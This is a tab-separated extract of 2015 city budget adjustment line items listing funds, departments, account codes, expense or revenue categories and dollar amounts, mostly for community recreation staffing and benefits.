15636	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	555060.0	PROFESSIONAL SERVICES	806.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
15637	BA	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	511749.0	VISION	808.0	Salaries and Wages	2015	2345.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2345.0
15638	BA	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES		EAP	808.0	Salaries and Wages	2015	1671.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1671.0
15639	BA	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	522900.0	MEMBERSHIPS AND DUES	808.0	 Supplies and Expenses	2015	1596.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1596.0
15640	BA	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	522910.0	VEHICLES - FUELS / LUBRICATION	808.0	 Supplies and Expenses	2015	131.0	0	0	0	0	0	0.0	0	0	0	0	0.0	131.0
15641	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		UNEMPLOYMENT	810.0	Salaries and Wages	2015	2070.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2070.0
15642	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511743.0	MEDICAL - MISC. EMPL	810.0	Salaries and Wages	2015	220561.0	0	0	0	0	0	0.0	0	0	0	0	0.0	220561.0
15643	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		UNEMPLOYMENT	810.0	Salaries and Wages	2015	4136.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4136.0
15644	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	544170.0	UNIFORM / PROTECTIVE CLOTHING	810.0	 Supplies and Expenses	2015	15000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	15000.0
15645	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	555950.0	COMM SERV FACIL / MGMT	810.0	 Supplies and Expenses	2015	18000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	18000.0
15646	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		UNEMPLOYMENT	810.0	Salaries and Wages	2015	622.0	0	0	0	0	0	0.0	0	0	0	0	0.0	622.0
15647	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	544170.0	UNIFORM / PROTECTIVE CLOTHING	810.0	 Supplies and Expenses	2015	350.0	0	0	0	0	0	0.0	0	0	0	0	0.0	350.0
15648	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		UNEMPLOYMENT	810.0	Salaries and Wages	2015	2015.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2015.0
15649	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	544110.0	PRINTED FORMS	810.0	 Supplies and Expenses	2015	100.0	0	0	0	0	0	0.0	0	0	0	0	0.0	100.0
15650	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511743.0	MEDICAL - MISC. EMPL	810.0	Salaries and Wages	2015	28484.0	0	0	0	0	0	0.0	0	0	0	0	0.0	28484.0
15651	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		DISABILITY INSURANCE	810.0	Salaries and Wages	2015	546.0	0	0	0	0	0	0.0	0	0	0	0	0.0	546.0
15652	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	544230.0	COMMUNITY SERVICES SU	810.0	 Supplies and Expenses	2015	3500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3500.0
15653	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	577840.0	ASSESSMENTS FOR CITY-OWNED PRO	820.0	 Supplies and Expenses	2015	388467.0	0	0	0	0	0	0.0	0	0	0	0	0.0	388467.0
15654	BA	IS	6	Clean Bchs & Ocean Prcl Tx Fd	500	PUBLIC WORKS	402	ENGINEERING	511500.0	TEMPORARY EMPLOYEES	808.0	Salaries and Wages	2015	20913.0	0	0	0	0	0	0.0	0	0	0	0	0.0	20913.0
15655	BA	IS	6	Clean Bchs & Ocean Prcl Tx Fd	500	PUBLIC WORKS	402	ENGINEERING	522820.0	CONFERENCES/MEETINGS/TRAVEL	808.0	 Supplies and Expenses	2015	6617.0	0	0	0	0	0	0.0	0	0	0	0	0.0	6617.0
15656	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555850.0	PROGRAM SUPPLIES	810.0	 Supplies and Expenses	2015	6409.0	0	0	0	0	0	0.0	0	0	0	0	0.0	6409.0
15657	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	400772.0	JONATHAN CLUB LEASE	618.0	Rentals	2015	-125000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-125000.0
15658	BA	IS	6	Clean Bchs & Ocean Prcl Tx Fd	500	PUBLIC WORKS	402	ENGINEERING	560040.0	CISTERN PROGRAM	808.0	 Supplies and Expenses	2015	20360.0	0	0	0	0	0	0.0	0	0	0	0	0.0	20360.0
15659	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	511560.0	CAPITALIZED LABOR		Salaries and Wages	2015	-39572.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-39572.0
15660	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	652	TRANSIT MAINTENANCE	511560.0	CAPITALIZED LABOR		Salaries and Wages	2015	-1975227.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-1975227.0
15661	BA	IS	19	CDBG Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	577040.0	AUDIT FEES	804.0	 Supplies and Expenses	2015	6899.0	0	0	0	0	0	0.0	0	0	0	0	0.0	6899.0
15662	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522900.0	MEMBERSHIPS AND DUES	810.0	 Supplies and Expenses	2015	630.0	0	0	0	0	0	0.0	0	0	0	0	0.0	630.0
15663	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2015	3820.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3820.0
15664	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511746.0	MED TRUST - MISC. EMPL	810.0	Salaries and Wages	2015	5310.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5310.0
15665	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522825.0	FOOD PURCHASES	810.0	 Supplies and Expenses	2015	100.0	0	0	0	0	0	0.0	0	0	0	0	0.0	100.0
15666	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	544230.0	COMMUNITY SERVICES SU	810.0	 Supplies and Expenses	2015	1500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1500.0
15667	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511500.0	TEMPORARY EMPLOYEES	810.0	Salaries and Wages	2015	54327.0	0	0	0	0	0	0.0	0	0	0	0	0.0	54327.0
15668	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		LIFE INSURANCE & AD & D	810.0	Salaries and Wages	2015	441.0	0	0	0	0	0	0.0	0	0	0	0	0.0	441.0
15669	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511773.0	RETIREMENT - MISC. EMPL	810.0	Salaries and Wages	2015	42264.0	0	0	0	0	0	0.0	0	0	0	0	0.0	42264.0
15670	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		EAP	810.0	Salaries and Wages	2015	514.0	0	0	0	0	0	0.0	0	0	0	0	0.0	514.0
15671	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522720.0	MILEAGE	810.0	 Supplies and Expenses	2015	1300.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1300.0
15672	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	555210.0	TRAINING	810.0	 Supplies and Expenses	2015	12000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	12000.0
15673	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511773.0	RETIREMENT - MISC. EMPL	810.0	Salaries and Wages	2015	46758.0	0	0	0	0	0	0.0	0	0	0	0	0.0	46758.0
15674	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		UNEMPLOYMENT	810.0	Salaries and Wages	2015	1252.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1252.0
15675	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	408080.0	FIRE RESIDENTIAL INSPECT FEES	612.0	Charges for Service	2015	-533596.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-533596.0
15676	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		DCAP	810.0	Salaries and Wages	2015	216.0	0	0	0	0	0	0.0	0	0	0	0	0.0	216.0
15677	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511748.0	DENTAL	810.0	Salaries and Wages	2015	1669.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1669.0
15678	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2015	3168.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3168.0
15679	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		EAP	810.0	Salaries and Wages	2015	310.0	0	0	0	0	0	0.0	0	0	0	0	0.0	310.0
15680	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	544170.0	UNIFORM / PROTECTIVE CLOTHING	810.0	 Supplies and Expenses	2015	600.0	0	0	0	0	0	0.0	0	0	0	0	0.0	600.0
15681	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511748.0	DENTAL	810.0	Salaries and Wages	2015	4880.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4880.0
15682	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511749.0	VISION	810.0	Salaries and Wages	2015	588.0	0	0	0	0	0	0.0	0	0	0	0	0.0	588.0
15683	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511746.0	MED TRUST - MISC. EMPL	810.0	Salaries and Wages	2015	1700.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1700.0
15684	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511774.0	RETIREMENT - AS NEEDED	810.0	Salaries and Wages	2015	4875.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4875.0
15685	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	544200.0	SPORTS SUPPLIES	810.0	 Supplies and Expenses	2015	4150.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4150.0
15686	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511746.0	MED TRUST - MISC. EMPL	810.0	Salaries and Wages	2015	1770.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1770.0
15687	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511749.0	VISION	810.0	Salaries and Wages	2015	147.0	0	0	0	0	0	0.0	0	0	0	0	0.0	147.0
15688	BA	IS	6	Clean Bchs & Ocean Prcl Tx Fd	500	PUBLIC WORKS	402	ENGINEERING	522210.0	UTILITIES - TELEPHONE	808.0	 Supplies and Expenses	2015	658.0	0	0	0	0	0	0.0	0	0	0	0	0.0	658.0
15689	BA	IS	6	Clean Bchs & Ocean Prcl Tx Fd	500	PUBLIC WORKS	402	ENGINEERING	555060.0	PROFESSIONAL SERVICES	808.0	 Supplies and Expenses	2015	132340.0	0	0	0	0	0	0.0	0	0	0	0	0.0	132340.0
15690	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522720.0	MILEAGE	810.0	 Supplies and Expenses	2015	1000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1000.0
15691	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION		FIRE - PEHP	806.0	Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
15692	BA	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	523000.0	VEHICLE MGMT FUND-MAINTENANCE	806.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
15693	BA	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	522320.0	METERED POSTAGE	806.0	 Supplies and Expenses	2015	1497.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1497.0
15694	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	401331.0	MALL MAINT PYMTS TO BAYSIDE	622.0	Other	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
15695	BA	IS	4	Special Revenue Source Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	570100.0	PEG TRANSFER TO FUND 01		 Supplies and Expenses	2015	276857.0	0	0	0	0	0	0.0	0	0	0	0	0.0	276857.0
15696	BA	IS	6	Clean Bchs & Ocean Prcl Tx Fd	500	PUBLIC WORKS	402	ENGINEERING	560030.0	RAIN BARREL PROGRAM	808.0	 Supplies and Expenses	2015	13234.0	0	0	0	0	0	0.0	0	0	0	0	0.0	13234.0
15697	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE	511560.0	CAPITALIZED LABOR		Salaries and Wages	2015	-46694.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-46694.0
15698	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	404290.0	MEASURE R LOCAL RETURN	658.0	Sales Tax	2015	-511350.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-511350.0
15699	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	540590.0	EMPLOYEE RECOGNITION & APPRECI	810.0	 Supplies and Expenses	2015	183.0	0	0	0	0	0	0.0	0	0	0	0	0.0	183.0
15700	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	533020.0	GENERAL LIABILITY / AUTO	810.0	 Supplies and Expenses	2015	74592.0	0	0	0	0	0	0.0	0	0	0	0	0.0	74592.0
15701	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2015	12690.0	0	0	0	0	0	0.0	0	0	0	0	0.0	12690.0
15702	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511746.0	MED TRUST - MISC. EMPL	810.0	Salaries and Wages	2015	26410.0	0	0	0	0	0	0.0	0	0	0	0	0.0	26410.0
15703	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		LIFE INSURANCE & AD & D	810.0	Salaries and Wages	2015	3279.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3279.0
15704	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522820.0	CONFERENCES/MEETINGS/TRAVEL	810.0	 Supplies and Expenses	2015	4000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4000.0
15705	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511774.0	RETIREMENT - AS NEEDED	810.0	Salaries and Wages	2015	834.0	0	0	0	0	0	0.0	0	0	0	0	0.0	834.0
15706	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		DISABILITY INSURANCE	810.0	Salaries and Wages	2015	1650.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1650.0
15707	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		DCAP	810.0	Salaries and Wages	2015	144.0	0	0	0	0	0	0.0	0	0	0	0	0.0	144.0
15708	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522720.0	MILEAGE	810.0	 Supplies and Expenses	2015	75.0	0	0	0	0	0	0.0	0	0	0	0	0.0	75.0
15709	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2015	194447.0	0	0	0	0	0	0.0	0	0	0	0	0.0	194447.0
15710	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2015	6102.0	0	0	0	0	0	0.0	0	0	0	0	0.0	6102.0
15711	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522720.0	MILEAGE	810.0	 Supplies and Expenses	2015	11030.0	0	0	0	0	0	0.0	0	0	0	0	0.0	11030.0
15712	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	401590.0	PLANNING PRESUBMITTAL REVIEW	612.0	Charges for Service	2015	-9461.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-9461.0
15713	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	404320.0	PARAMEDIC SKILLED NURSING FEE	612.0	Charges for Service	2015	-20000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-20000.0
15714	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	566290.0	PROGRAMS & SPECIAL EVENTS	812.0	 Supplies and Expenses	2015	5985.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5985.0
15715	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	556110.0	DECEDENT TRANSPORTION		 Supplies and Expenses	2015	5000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5000.0
15716	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	540590.0	EMPLOYEE RECOGNITION & APPRECI	804.0	 Supplies and Expenses	2015	3054.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3054.0
15717	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	540590.0	EMPLOYEE RECOGNITION & APPRECI	806.0	 Supplies and Expenses	2015	5000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5000.0
15718	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	540590.0	EMPLOYEE RECOGNITION & APPRECI	816.0	 Supplies and Expenses	2015	3500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3500.0
15719	BA	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	511490.0	OVERTIME		Salaries and Wages	2015	7147.0	0	0	0	0	0	0.0	0	0	0	0	0.0	7147.0
15720	BA	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	511743.0	MEDICAL - MISC. EMPL		Salaries and Wages	2015	114270.0	0	0	0	0	0	0.0	0	0	0	0	0.0	114270.0
15721	BA	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE		UNEMPLOYMENT		Salaries and Wages	2015	2601.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2601.0
15722	BA	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	523000.0	VEHICLE MGMT FUND-MAINTENANCE		 Supplies and Expenses	2015	48010.0	0	0	0	0	0	0.0	0	0	0	0	0.0	48010.0
15723	BA	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE	511746.0	MED TRUST - MISC. EMPL		Salaries and Wages	2015	7010.0	0	0	0	0	0	0.0	0	0	0	0	0.0	7010.0
15724	BA	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE		UNEMPLOYMENT		Salaries and Wages	2015	1281.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1281.0
15725	BA	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE	544170.0	UNIFORM / PROTECTIVE CLOTHING	810.0	 Supplies and Expenses	2015	3300.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3300.0
15726	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	401801.0	PROCEEDS	662.0	Other	2015	-192000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-192000.0
15727	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	405750.0	VEHICLE MAINTENANCE	650.0	Charges for Service	2015	-5178762.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-5178762.0
15728	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511743.0	MEDICAL - MISC. EMPL	810.0	Salaries and Wages	2015	49666.0	0	0	0	0	0	0.0	0	0	0	0	0.0	49666.0
15729	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		DCAP	810.0	Salaries and Wages	2015	214.0	0	0	0	0	0	0.0	0	0	0	0	0.0	214.0
15730	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522825.0	FOOD PURCHASES	810.0	 Supplies and Expenses	2015	700.0	0	0	0	0	0	0.0	0	0	0	0	0.0	700.0
15731	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		DCAP	810.0	Salaries and Wages	2015	288.0	0	0	0	0	0	0.0	0	0	0	0	0.0	288.0
15732	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522825.0	FOOD PURCHASES	810.0	 Supplies and Expenses	2015	400.0	0	0	0	0	0	0.0	0	0	0	0	0.0	400.0
15733	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511500.0	TEMPORARY EMPLOYEES	810.0	Salaries and Wages	2015	129990.0	0	0	0	0	0	0.0	0	0	0	0	0.0	129990.0
15734	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		DCAP	810.0	Salaries and Wages	2015	70.0	0	0	0	0	0	0.0	0	0	0	0	0.0	70.0
15735	BA	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	511000.0	PERMANENT EMPLOYEES		Salaries and Wages	2015	467581.0	0	0	0	0	0	0.0	0	0	0	0	0.0	467581.0
15736	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522900.0	MEMBERSHIPS AND DUES	810.0	 Supplies and Expenses	2015	200.0	0	0	0	0	0	0.0	0	0	0	0	0.0	200.0
15737	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	544170.0	UNIFORM / PROTECTIVE CLOTHING	810.0	 Supplies and Expenses	2015	200.0	0	0	0	0	0	0.0	0	0	0	0	0.0	200.0
15738	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	544200.0	SPORTS SUPPLIES	810.0	 Supplies and Expenses	2015	29400.0	0	0	0	0	0	0.0	0	0	0	0	0.0	29400.0
15739	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511749.0	VISION	810.0	Salaries and Wages	2015	140.0	0	0	0	0	0	0.0	0	0	0	0	0.0	140.0
15740	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	544171.0	PARTICIPANT UNIFORMS	810.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
15741	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	555010.0	CONTRACTUAL SERVICES	810.0	 Supplies and Expenses	2015	22800.0	0	0	0	0	0	0.0	0	0	0	0	0.0	22800.0
15742	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2015	76103.0	0	0	0	0	0	0.0	0	0	0	0	0.0	76103.0
15743	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511490.0	OVERTIME	810.0	Salaries and Wages	2015	2724.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2724.0
15744	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522310.0	OFFICE SUPPLIES / EXPENSES	810.0	 Supplies and Expenses	2015	1800.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1800.0
15745	BA	IS	6	Clean Bchs & Ocean Prcl Tx Fd	500	PUBLIC WORKS	402	ENGINEERING	555010.0	CONTRACTUAL SERVICES	808.0	 Supplies and Expenses	2015	150000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	150000.0
15746	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	407220.0	NEIGHBOR NOTIFICATION FEE	612.0	Charges for Service	2015	-14600.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-14600.0
15747	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511746.0	MED TRUST - MISC. EMPL	810.0	Salaries and Wages	2015	5240.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5240.0
15748	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	544110.0	PRINTED FORMS	810.0	 Supplies and Expenses	2015	600.0	0	0	0	0	0	0.0	0	0	0	0	0.0	600.0
15749	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	544230.0	COMMUNITY SERVICES SU	810.0	 Supplies and Expenses	2015	7500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	7500.0
15750	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511774.0	RETIREMENT - AS NEEDED	810.0	Salaries and Wages	2015	1329.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1329.0
15751	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		LIFE INSURANCE & AD & D	810.0	Salaries and Wages	2015	744.0	0	0	0	0	0	0.0	0	0	0	0	0.0	744.0
15752	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		DISABILITY INSURANCE	810.0	Salaries and Wages	2015	1474.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1474.0
15753	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522720.0	MILEAGE	810.0	 Supplies and Expenses	2015	100.0	0	0	0	0	0	0.0	0	0	0	0	0.0	100.0
15754	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	544110.0	PRINTED FORMS	810.0	 Supplies and Expenses	2015	110.0	0	0	0	0	0	0.0	0	0	0	0	0.0	110.0
15755	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	544170.0	UNIFORM / PROTECTIVE CLOTHING	810.0	 Supplies and Expenses	2015	250.0	0	0	0	0	0	0.0	0	0	0	0	0.0	250.0
15756	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511748.0	DENTAL	810.0	Salaries and Wages	2015	1220.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1220.0
15757	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		EAP	810.0	Salaries and Wages	2015	105.0	0	0	0	0	0	0.0	0	0	0	0	0.0	105.0
15758	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		DCAP	810.0	Salaries and Wages	2015	72.0	0	0	0	0	0	0.0	0	0	0	0	0.0	72.0
